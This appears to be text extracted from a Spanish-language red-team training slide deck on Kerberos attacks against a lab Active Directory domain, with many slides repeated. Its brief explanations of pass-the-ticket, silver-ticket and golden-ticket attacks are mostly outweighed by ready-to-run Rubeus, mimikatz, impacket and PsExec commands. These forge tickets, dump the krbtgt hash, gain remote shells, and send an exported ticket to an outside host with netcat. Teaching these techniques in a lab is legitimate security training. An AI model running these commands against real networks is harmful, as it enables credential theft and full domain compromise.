
Day Nine: Tick-Tac-Toe
“PWN LIKE A MDFK ft. RED TEAM VIEW”



BLEACH.local : ANY DLL TO WHATCH?

https://github.com/Accenture/Spartacus 

C:\Users\jquerito > SP.exe --procmon 
C:\Users\jquerito\downloads\SysInternals\Procmon.ex
e --pml C:\Users\jquerito\downloads\logs.pml --csv 
C:\Users\jquerito\downloads\VulnerableDLLFiles.csv 
--exports C:\Users\jquerito\downloads\DLLExports 
--verbose --exe "Teams.exe,OneDrive.exe" 
--proxy-dll-template 
C:\Users\jquerito\downloads\myProxySkeleton.cpp

https://github.com/Accenture/Spartacus


BLEACH.local : ANY DLL TO WHATCH?

https://github.com/Accenture/Spartacus 

https://github.com/Accenture/Spartacus


BLEACH.local : ANY DLL TO WHATCH?

https://github.com/Accenture/Spartacus 

https://github.com/Accenture/Spartacus


BLEACH.local : ATTL4S!

http://www.youtube.com/watch?v=LD_7Sv96x1I


BLEACH.local : PASS THE TICKET
"Pass the ticket" es una técnica 
utilizada en seguridad informática 
que aprovecha la autenticación 
basada en tickets (como Kerberos) 
en entornos de directorio activo 
para obtener acceso no autorizado 
a sistemas y recursos. Esta 
técnica se utiliza principalmente 
en entornos que utilizan el 
protocolo Kerberos para autenticar 
a los usuarios.



BLEACH.local : PASS THE TICKET

Cuando un usuario inicia sesión en un entorno basado en Kerberos, se emite un ticket de 
autenticación que contiene información cifrada que identifica al usuario y su nivel de 
autorización. Este ticket se utiliza para autenticar al usuario en los diferentes sistemas y 
servicios dentro del entorno de directorio activo sin la necesidad de volver a introducir las 
credenciales.

.\PsExec.exe \\PRINCIPAL-BLEACH powershell.exe



BLEACH.local : RUBEUS IS HERE!!

https://www.hackingarticles.in/a-detailed-guide-on-rubeus/ 
https://www.netwrix.com/pass_the_ticket.html 

https://www.hackingarticles.in/a-detailed-guide-on-rubeus/
https://www.netwrix.com/pass_the_ticket.html


BLEACH.local : PASS THE TICKET



BLEACH.local : PASS THE TICKET



BLEACH.local : PASS THE TICKET
PS C:/> rubeus.exe monitor /interval:1

PS C:/> rubeus.exe brute 
/password:Password@1 /noticket 

https://www.hackingarticles.in/a-det
ailed-guide-on-rubeus/ 

https://www.hackingarticles.in/a-detailed-guide-on-rubeus/
https://www.hackingarticles.in/a-detailed-guide-on-rubeus/


BLEACH.local : PASS THE TICKET
PS C:/> rubeus.exe monitor /interval:1

PS C:/> rubeus.exe brute 
/password:Password@1 /noticket 

https://www.hackingarticles.in/a-det
ailed-guide-on-rubeus/ 

https://www.hackingarticles.in/a-detailed-guide-on-rubeus/
https://www.hackingarticles.in/a-detailed-guide-on-rubeus/


BLEACH.local : PASS THE TICKET



BLEACH.local : PASS THE TICKET

# with an NT hash (overpass-the-hash)
getTGT.py -hashes 'LMhash:NThash' $DOMAIN/$USER@$TARGET

# with an AES (128 or 256 bits) key (pass-the-key)
getTGT.py -aesKey 'KerberosKey' $DOMAIN/$USER@$TARGET



BLEACH.local : PASS THE TICKET



BLEACH.local : PASS THE TICKET
PS> klist # klist | findstr "Cached"
PS> mimikatz.exe "kerberos::list"



BLEACH.local : PASS THE TICKET
[IO.File]::WriteAllBytes("ticket.kirbi"
, 
[Convert]::FromBase64String("<BASE64_TI
CKET>"))

https://www.thehacker.recipes/ad/movement/kerberos/ptt 

https://www.thehacker.recipes/ad/movement/kerberos/ptt


BLEACH.local : PASS THE TICKET
[IO.File]::WriteAllBytes("ticket
.kirbi", 
[Convert]::FromBase64String("<BA
SE64_TICKET>"))



BLEACH.local : PASS THE TICKET
[*] Current LUID    : 0x16f441

  UserName                 : jquerito
  Domain                   : BLEACH
  LogonId                  : 0x16f441
  UserSID                  : S-1-5-21-3777977817-1859332824-490154379-1108
  AuthenticationPackage    : Kerberos
  LogonType                : Interactive
  LogonTime                : 02/06/2023 23:48:07
  LogonServer              : PRINCIPAL-BLEACH
  LogonServerDNSDomain     : BLEACH.LOCAL
  UserPrincipalName        : jquerito@BLEACH.local

    ServiceName              :  krbtgt/BLEACH.LOCAL
    ServiceRealm             :  BLEACH.LOCAL
    UserName                 :  jquerito
    UserRealm                :  BLEACH.LOCAL
    StartTime                :  02/06/2023 23:48:07
    EndTime                  :  03/06/2023 9:48:07
    RenewTill                :  09/06/2023 23:48:07
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable

    KeyType                  :  aes256_cts_hmac_sha1

  BASE64…..



BLEACH.local : PASS THE TICKET

Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"



BLEACH.local : PASS THE TICKET

export KRB5CCNAME=$path_to_ticket.ccache
crackmapexec smb $TARGETS -k # crackmapexec winrm $TARGETS -k -x whoami
.\PsExec.exe -accepteula \\$TARGET cmd

impacket-secretsdump -k $TARGET
impacket-psexec -k 'DOMAIN/USER@TARGET'
impacket-smbexec -k 'DOMAIN/USER@TARGET'
impacket-wmiexec -k 'DOMAIN/USER@TARGET'
impacket-atexec -k 'DOMAIN/USER@TARGET'
impacket-dcomexec -k 'DOMAIN/USER@TARGET'



BLEACH.local : WHAT ABOUT THE ADMIN? 



BLEACH.local : SILVER TICKET

El ataque Silver Ticket es otra técnica de ataque que se basa en la explotación de sistemas de 
autenticación basados en Kerberos en entornos de directorio activo. Aunque guarda similitudes con 
el ataque "Pass the ticket", existen diferencias clave entre ambos.

Mientras que en el ataque "Pass the ticket" se aprovecha un ticket de autenticación legítimo 
obtenido previamente, en el ataque Silver Ticket se crea un ticket de autenticación falso. El 
atacante no necesita comprometer las credenciales de un usuario legítimo, sino que puede crear un 
ticket de forma manual o automatizada utilizando información obtenida del entorno de directorio 
activo, como los datos del servicio de Active Directory Domain Services (AD DS) o información de 
servicios específicos, como SQL Server.

El objetivo principal del ataque Silver Ticket es obtener acceso a recursos protegidos utilizando 
un ticket de autenticación falso. El atacante genera un ticket de autenticación válido para un 
servicio específico, utilizando el nombre de servicio (Service Principal Name, SPN) asociado con el 
recurso objetivo. Una vez que se crea el ticket, el atacante puede presentarlo en el sistema 
objetivo para autenticarse y obtener acceso a los recursos protegidos.

impacket-ticketer -nthash b18b4b218eccad1c223306ea1916885f -domain-sid 
S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn 
SERVICE/BLEACH.local  ticketname



BLEACH.local : SILVER TICKET

El ataque Silver Ticket es otra técnica de ataque que se basa en la explotación de sistemas de 
autenticación basados en Kerberos en entornos de directorio activo. Aunque guarda similitudes con 
el ataque "Pass the ticket", existen diferencias clave entre ambos.

Mientras que en el ataque "Pass the ticket" se aprovecha un ticket de autenticación legítimo 
obtenido previamente, en el ataque Silver Ticket se crea un ticket de autenticación falso. El 
atacante no necesita comprometer las credenciales de un usuario legítimo, sino que puede crear un 
ticket de forma manual o automatizada utilizando información obtenida del entorno de directorio 
activo, como los datos del servicio de Active Directory Domain Services (AD DS) o información de 
servicios específicos, como SQL Server.

El objetivo principal del ataque Silver Ticket es obtener acceso a recursos protegidos utilizando 
un ticket de autenticación falso. El atacante genera un ticket de autenticación válido para un 
servicio específico, utilizando el nombre de servicio (Service Principal Name, SPN) asociado con el 
recurso objetivo. Una vez que se crea el ticket, el atacante puede presentarlo en el sistema 
objetivo para autenticarse y obtener acceso a los recursos protegidos.



BLEACH.local : SILVER TICKET

El ataque Silver Ticket es otra técnica de ataque que se basa en la explotación de sistemas de 
autenticación basados en Kerberos en entornos de directorio activo. Aunque guarda similitudes con 
el ataque "Pass the ticket", existen diferencias clave entre ambos.

Mientras que en el ataque "Pass the ticket" se aprovecha un ticket de autenticación legítimo 
obtenido previamente, en el ataque Silver Ticket se crea un ticket de autenticación falso. El 
atacante no necesita comprometer las credenciales de un usuario legítimo, sino que puede crear un 
ticket de forma manual o automatizada utilizando información obtenida del entorno de directorio 
activo, como los datos del servicio de Active Directory Domain Services (AD DS) o información de 
servicios específicos, como SQL Server.

El objetivo principal del ataque Silver Ticket es obtener acceso a recursos protegidos utilizando 
un ticket de autenticación falso. El atacante genera un ticket de autenticación válido para un 
servicio específico, utilizando el nombre de servicio (Service Principal Name, SPN) asociado con el 
recurso objetivo. Una vez que se crea el ticket, el atacante puede presentarlo en el sistema 
objetivo para autenticarse y obtener acceso a los recursos protegidos.



BLEACH.local : SILVER TICKET



BLEACH.local : SILVER TICKET
setspn -T offense -Q */*

Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 
"SERVICE/server.BLEACH.local"

impacket-lookupsid BLEACH.local/jquerito:Contrasena1234@10.0.9.4

mimikatz # kerberos::list /export

nc 10.0.0.5 443 < C:\tools\mimikatz\x64\TICKET-BLEACH-LOCAL.kirbi

https://github.com/int0x33/nc.exe/ 

kali@kali nc -lvp 443 > kerberoast.bin

https://github.com/int0x33/nc.exe/


BLEACH.local : SILVER TICKET

#Create the ticket
mimikatz.exe "kerberos::golden /domain:BLEACH.local /sid:S-1-5-21-1339291983-1349129144-367733775 
/rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:server.BLEACH.local"



BLEACH.local : SILVER TICKET

#Create the ticket
mimikatz.exe "kerberos::golden /domain:BLEACH.local /sid:S-1-5-21-1339291983-1349129144-367733775 
/rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:server.BLEACH.local"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell (or any access)
.\PsExec.exe -accepteula \\server.BLEACH.local cmd



BLEACH.local : SILVER TICKET

#Create the ticket
mimikatz.exe "kerberos::golden /domain:BLEACH.local /sid:S-1-5-21-1339291983-1349129144-367733775 
/rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:server.BLEACH.local"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell (or any access)
.\PsExec.exe -accepteula \\server.BLEACH.local cmd

#Example using ‘oneline’
mimikatz # kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt 
/id:1155 /target:server.BLEACH.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:beningnadmin



BLEACH.local : SILVER TICKET

#Create the ticket
mimikatz.exe "kerberos::golden /domain:BLEACH.local /sid:S-1-5-21-1339291983-1349129144-367733775 
/rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:server.BLEACH.local"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell (or any access)
.\PsExec.exe -accepteula \\server.BLEACH.local cmd

#Example using ‘oneline’
mimikatz # kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt 
/id:1155 /target:server.BLEACH.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:beningnadmin

mimikatz # "kerberos::golden /user:NonExistentUser /domain:domain.com 
/sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b 
/target:server.BLEACH.local /service:<service> /ptt"
 



BLEACH.local : SILVER TICKET

#Create the ticket
mimikatz.exe "kerberos::golden /domain:BLEACH.local /sid:S-1-5-21-1339291983-1349129144-367733775 
/rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:server.BLEACH.local"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell (or any access)
.\PsExec.exe -accepteula \\server.BLEACH.local cmd

#Example using ‘oneline’
mimikatz # kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt 
/id:1155 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 
/user:beningnadmin

mimikatz # "kerberos::golden /user:NonExistentUser /domain:domain.com 
/sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b 
/target:server.BLEACH.local /service:<service> /ptt" 

mimikatz # "misc::cmd”



BLEACH.local : GOLDEN TICKET

La diferencia principal entre el ataque Silver Ticket y el ataque "Pass the ticket" radica en cómo 
se obtiene y utiliza el ticket de autenticación. En el ataque "Pass the ticket", se roba o 
compromete un ticket válido de un usuario legítimo, mientras que en el ataque Silver Ticket se crea 
un ticket falso para el servicio objetivo.

El ataque Golden Ticket implica la creación de un ticket de autenticación dorado falso que concede 
privilegios de administrador de dominio en el entorno de Active Directory. Para lograr esto, el 
atacante necesita obtener el hash de la contraseña del usuario del objeto de dominio del 
controlador de dominio. (krbtgt)

Una vez que el atacante tiene el hash de la contraseña, puede utilizar herramientas como Mimikatz 
para generar un ticket de autenticación dorado falso. Este ticket de autenticación dorado tiene una 
duración prolongada, por lo que el atacante puede utilizarlo de manera persistente para acceder a 
recursos protegidos y realizar actividades maliciosas en el entorno de Active Directory.

https://www.netwrix.com/how_golden_ticket_attack_works.html 

https://www.netwrix.com/how_golden_ticket_attack_works.html


BLEACH.local : GOLDEN TICKET
PS C:\> Get-DomainPolicy | select -expand KerberosPolicy

mimikatz # privilege::debug #Admin 
mimikatz # lsadump::lsa /inject /name:krbtgt (!) 
mimikatz # lsadump::dcsync /domain:BLEACH.local 
/user:krbtgt

krbtgt hash: …

mimikatz.exe "privilege::debug" "lsadump::lsa /inject 
/name:krbtgt" exit

mimikatz # kerberos::golden /User:random_user 
/domain:BLEACH.local 
/sid:S-1-5-21-3737340914-2019594255-2413685307 
/krbtgt:d125e4f69c851529045ec95ca80fa37e /id:500 /ptt
 
PS C:\> klist
PS C:\> pushd

https://gist.github.com/jaredcatkinso
n/c95fd1e4e76a4b9b966861f64782
f5a9 

https://gist.github.com/jaredcatkinson/c95fd1e4e76a4b9b966861f64782f5a9
https://gist.github.com/jaredcatkinson/c95fd1e4e76a4b9b966861f64782f5a9
https://gist.github.com/jaredcatkinson/c95fd1e4e76a4b9b966861f64782f5a9


BLEACH.local : GOLDEN TICKET
PS C:\> Get-DomainPolicy | select -expand KerberosPolicy

mimikatz # privilege::debug #Admin 
mimikatz # lsadump::lsa /inject /name:krbtgt 
mimikatz # lsadump::dcsync /domain:BLEACH.local 
/user:krbtgt

krbtgt hash: …

mimikatz.exe "privilege::debug" "lsadump::lsa /inject 
/name:krbtgt" exit

mimikatz # kerberos::golden /User:random_user 
/domain:BLEACH.local 
/sid:S-1-5-21-3737340914-2019594255-2413685307 
/krbtgt:d125e4f69c851529045ec95ca80fa37e /id:500 /ptt
 
PS C:\> klist
PS C:\> pushd

https://gist.github.com/jaredcatkinso
n/c95fd1e4e76a4b9b966861f64782
f5a9 

https://gist.github.com/jaredcatkinson/c95fd1e4e76a4b9b966861f64782f5a9
https://gist.github.com/jaredcatkinson/c95fd1e4e76a4b9b966861f64782f5a9
https://gist.github.com/jaredcatkinson/c95fd1e4e76a4b9b966861f64782f5a9


BLEACH.local : GOLDEN TICKET
PS C:\> Get-DomainPolicy | select -expand KerberosPolicy

mimikatz # privilege::debug #Admin 
mimikatz # lsadump::lsa /inject /name:krbtgt 
mimikatz # lsadump::dcsync /domain:BLEACH.local 
/user:krbtgt

krbtgt hash: …

mimikatz.exe "privilege::debug" "lsadump::lsa /inject 
/name:krbtgt" exit

mimikatz # kerberos::golden /User:random_user 
/domain:BLEACH.local 
/sid:S-1-5-21-3737340914-2019594255-2413685307 
/krbtgt:d125e4f69c851529045ec95ca80fa37e /id:500 /ptt
 
PS C:\> klist
PS C:\> pushd

https://gist.github.com/jaredcatkinso
n/c95fd1e4e76a4b9b966861f64782
f5a9 

https://gist.github.com/jaredcatkinson/c95fd1e4e76a4b9b966861f64782f5a9
https://gist.github.com/jaredcatkinson/c95fd1e4e76a4b9b966861f64782f5a9
https://gist.github.com/jaredcatkinson/c95fd1e4e76a4b9b966861f64782f5a9


BLEACH.local : GOLDEN TICKET


